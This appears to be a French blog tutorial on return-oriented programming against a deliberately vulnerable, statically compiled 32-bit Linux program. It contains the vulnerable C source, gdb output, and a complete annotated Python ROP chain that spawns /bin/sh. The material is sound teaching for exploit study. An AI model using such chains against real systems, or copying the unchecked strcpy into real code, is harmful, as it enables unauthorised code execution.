Return-Oriented Programming sur GNU/Linux

*** Qu’est ce que le Return-Oriented Programming ? ***

Le ROP est une technique d’exploitation sans injection de code. Cette technique permet de bypasser certaines protections contre les attaques de type buffer overflow. Ces restrictions sont entre autre le NX (Never eXecute) bit qui désactive l’exécution de code sur la stack et l’aslr (Address Space Layout Randomization) qui randomize les positions des zones de données clés d’un programme dans l’espace d’adressage.

*** Concept d’un ROP ***

Le concept d’un ROP est simple mais délicat : il s’agit d’utiliser de petites séquences d’instructions déjà disponibles dans le binaire ou dans les librairies qui lui sont linkées. Chaque séquence d’instructions doit se terminer par l’instruction « ret » (0xc3) afin de pouvoir exécuter l’intégralité de ces séquences. C’est pourquoi ce type d’exploitation est appelé « Return-Oriented ».

En programmation ordinaire, le pointeur d’instruction, soit le registre eip, détermine quelle instruction va être récupérée et exécutée. Une fois l’instruction exécutée par le processeur, eip est automatiquement incrémenté et pointe donc sur la prochaine instruction.

En programmation de type ROP, c’est le pointeur de stack, soit le registre esp qui détermine quelle séquence d’instructions va être récupérée et exécutée. Mais contrairement à eip, le registre esp n’est pas automatiquement incrémenté. On ne passe donc pas à la prochaine instruction spontanément, c’est grâce à l’instruction ret que l’on va passer à la séquence d’instructions suivante. Pour rappel, à l’appel de l’instruction ret, le contenu de la stack (soit l’adresse de la prochaine séquence d’instructions) est dépilé puis exécuté.

Une séquence d’instructions se terminant par un ret est appelée un « gadget ».

*** Les ROP gadgets ***

Comme nous venons de le voir, un ROP gadget est une séquence d’instructions se terminant par l’instruction « ret ». Il existe deux types de gadgets :

  • Les « intended gadgets »
  • Ce sont les gadgets provenant d’instructions directement fournis par le développeur.

    Exemple : (from objdump -d ./vuln) :

    1
    2
     8051f60:   31 c0                   xor    eax,eax
     8051f62:   c3                      ret

    Ici à l’adresse 0x08051f60, nous avons le gadget « xor eax, eax » (31 c0 c3).

  • Les « unintended gadgets »
  • Ce sont à l’inverse des gadgets non fournis par le développeur, ils sont donc « involontaires ».

    Exemple : (from objdump -d ./vuln) :

    1
    2
     80b7af3:   8b 44 90 40             mov    eax,DWORD PTR [eax+edx*4+0x40]
     80b7af7:   c3                      ret

    Ici et « involontairement » nous avons le gadget « inc eax » (40 c3) à l’adresse 0x080b7af6 (0x080b7af3 + 3).

    *** Comment trouver un gadget ? ***

    Pour trouver les gadgets disponibles dans un binaire, il faut lire la section .text avec par exemple readelf ou un désassembler pour rechercher toutes les instructions « ret » (0xc3). Ensuite, pour chaque « ret » trouvé, on regarde en arrière pour savoir si les bytes qui le précèdent forment une ou des séquences d’instructions valides. Une fois tous les gadgets trouvés et notés, il ne reste plus qu’à former notre shellcode.

    Pour faciliter la tache, il existe de nombreux outils pour trouver les gadgets disponibles dans un binaire. Celui que j’utilise est le suivant : https://github.com/JonathanSalwan/ROPgadget/tree/master

    *** Exemple d’exploitation ***

    L’exploitation va consister à exécuter ‘execve("/bin/sh", 0, 0);’ depuis le programme vulnérable suivant :

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    #include <stdio.h>
    #include <string.h>

    int main(int argc, char *argv[])
    {
        char buf[128];
       
        if (argc != 2)
        {
            fprintf(stderr, "supply the string in argument\n");
            return 1;
        }
       
        else
            strcpy(buf, argv[1]);
           
        return (0);
    }

    Dans cet exemple, pour avoir plus de code dans la section .text, je vais le compiler avec l’option -static. Nous travaillerons ici sur du 32 bits.

    1
    $ gcc -static -m32 vuln.c -o vuln

    Comme on peut le voir dans ce tutoriel : https://www.re-xe.com//shellcode-x86-et-x86_64/, on doit placer la string « /bin/sh » dans le premier argument ebx, 0 dans ecx et edx puis le syscall 11 (0xb) dans eax pour exécuter notre shell grâce à l’instruction int 0x80.

    Premièrement, on doit trouver un endroit dans la mémoire où écrire cette string « /bin/sh ». Une façon d’y parvenir est d’utiliser le segment de données, autrement dit la section « .data ».

    Pour la trouver on utilise gdb :

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    $ gdb -q ./vuln
    Reading symbols from ./vuln...(no debugging symbols found)...done.
    (gdb) info file
    Symbols from "/home/opc0de/ROP/vuln".
    Local exec file:
        '/home/opc0de/ROP/vuln', file type elf32-i386.
        Entry point: 0x8048bdc
        0x080480f4 - 0x08048114 is .note.ABI-tag
        0x08048114 - 0x08048138 is .note.gnu.build-id
        0x08048138 - 0x080481b0 is .rel.plt
        0x080481b0 - 0x080481d3 is .init
        0x080481e0 - 0x080482d0 is .plt
        0x080482d0 - 0x080bf39c is .text
        0x080bf3a0 - 0x080bf416 is __libc_thread_freeres_fn
        0x080bf420 - 0x080c0dd2 is __libc_freeres_fn
        0x080c0dd4 - 0x080c0de8 is .fini
        0x080c0e00 - 0x080d7ee4 is .rodata
        0x080d7ee4 - 0x080d7ee5 is .stapsdt.base
        0x080d7ee8 - 0x080d7eec is __libc_thread_subfreeres
        0x080d7eec - 0x080d7f18 is __libc_subfreeres
        0x080d7f18 - 0x080d7f1c is __libc_atexit
        0x080d7f1c - 0x080e5fec is .eh_frame
        0x080e5fec - 0x080e6082 is .gcc_except_table
        0x080e7f4c - 0x080e7f5c is .tdata
        0x080e7f5c - 0x080e7f74 is .tbss
        0x080e7f5c - 0x080e7f64 is .init_array
        0x080e7f64 - 0x080e7f6c is .fini_array
        0x080e7f6c - 0x080e7f70 is .jcr
        0x080e7f80 - 0x080e7ff0 is .data.rel.ro
        0x080e7ff0 - 0x080e7ff8 is .got
        0x080e8000 - 0x080e8048 is .got.plt
        0x080e8060 - 0x080e8f88 is .data
        0x080e8fa0 - 0x080ea58c is .bss
        0x080ea58c - 0x080ea5a4 is __libc_freeres_ptrs
    (gdb)

    La section .data se trouve donc à l’adresse 0x080e8060.

    Cherchons maintenant la taille exacte de la chaîne de caractère à donner en argument pour écraser eip et obtenir notre erreur de segmentation.

    1
    2
    3
    4
    5
    6
    7
    8
    $ gdb -q ./vuln
    Reading symbols from ./vuln...(no debugging symbols found)...done.
    (gdb) r `python -c 'print "a" * 140 + "bcde"'`
    Starting program: /home/opc0de/ROP/vuln `python -c 'print "a" * 140 + "bcde"'`

    Program received signal SIGSEGV, Segmentation fault.
    0x65646362 in ?? ()
    (gdb)

    Le programme plante sur l’adresse 0x65646362 qui correspond dans la table ASCII à : ‘e’ pour 0x65, à ‘d’ pour 0x64, à ‘c’ pour 0x63 et ‘b’ pour 0x62.
    140 est donc la taille de padding exacte à donner au buffer avant de pouvoir écraser notre registre eip.

    Pour la suite je vais détailler l’exploit obtenu à partir de l’outil ROPgadget :

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    #!/usr/bin/python

    from struct import pack

    p = 'a'*140 # Padding goes here
    # Dans cette première partie on définit tout simplement le padding

    p += pack("<I", 0x08056feb) # pop edx ; ret
    p += pack("<I", 0x080e8060) # @ .data
    # Après ces deux lignes le registre edx pointe sur la section .data

    p += pack("<I", 0x080bcbb6) # pop eax ; ret
    p += "/bin" # /bin
    # Le registre eax contient maintenant la string "/bin"

    p += pack("<I", 0x08072dbd) # mov DWORD PTR [edx],eax ; ret
    # On place la string "/bin" dans edx, donc dans .data

    p += pack("<I", 0x08056feb) # pop edx ; ret
    p += pack("<I", 0x080e8064) # @ .data + 4
    # Le registre edx pointe sur .data + 4

    p += pack("<I", 0x080bcbb6) # pop eax ; ret
    p += "//sh" # //sh
    # Maintenant eax contient la string "//sh", le deuxième "/" est utilisé pour avoir exactement 4 octets dans eax

    p += pack("<I", 0x08072dbd) # mov DWORD PTR [edx],eax ; ret
    # La section .data contient donc maintenant "/bin//sh"

    p += pack("<I", 0x08056feb) # pop edx ; ret
    p += pack("<I", 0x080e8068) # @ .data + 8
    # Le registre edx pointe sur la section .data + 8

    p += pack("<I", 0x08051f60) # xor eax, eax ; ret
    # Le registre eax est remis à 0

    p += pack("<I", 0x08072dbd) # mov DWORD PTR [edx],eax ; ret
    # La section .data contient maintenant la string null-terminated "/bin//sh"

    p += pack("<I", 0x080481d1) # pop ebx ; ret
    p += pack("<I", 0x080e8060) # @ .data
    # Le registre ebx utilisé comme premier argument pour execve contient ce que nous venons de placer dans la section .data, soit notre string null-terminated "/bin//sh"

    p += pack("<I", 0x080de179) # pop ecx ; ret
    p += pack("<I", 0x080e8068) # @ .data + 8
    # Le registre ecx utilisé comme deuxième argument contient maintenant 0

    p += pack("<I", 0x08056feb) # pop edx ; ret
    p += pack("<I", 0x080e8068) # @ .data + 8
    # Même chose pour le troisième et dernier argument edx

    p += pack("<I", 0x08051f60) # xor eax, eax ; ret
    p += pack("<I", 0x080b7af6) # inc eax ; ret
    p += pack("<I", 0x080b7af6) # inc eax ; ret
    p += pack("<I", 0x080b7af6) # inc eax ; ret
    p += pack("<I", 0x080b7af6) # inc eax ; ret
    p += pack("<I", 0x080b7af6) # inc eax ; ret
    p += pack("<I", 0x080b7af6) # inc eax ; ret
    p += pack("<I", 0x080b7af6) # inc eax ; ret
    p += pack("<I", 0x080b7af6) # inc eax ; ret
    p += pack("<I", 0x080b7af6) # inc eax ; ret
    p += pack("<I", 0x080b7af6) # inc eax ; ret
    p += pack("<I", 0x080b7af6) # inc eax ; ret
    # On set eax à 0 et on l'increment jusqu'à 11 (0xb), notre syscall

    p += pack("<I", 0x080491cd) # int 0x80
    # on exécute le syscall

    print p
    # et on termine par afficher le tout.

    Pour finir, exécutons notre exploit en tant qu’argument à notre programme vulnérable :

    1
    2
    $ ./vuln `./sploit.py`
    sh-4.2$

    Parfait, notre shell a bien été exécuté 🙂

    Ce contenu a été publié dans Exploitation, Reversing, avec comme mot(s)-clef(s) . Vous pouvez le mettre en favoris avec ce permalien.

    Laisser un commentaire

    Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *

    *

    Protected by WP Anti Spam

    Ce site utilise Akismet pour réduire les indésirables. En savoir plus sur comment les données de vos commentaires sont utilisées.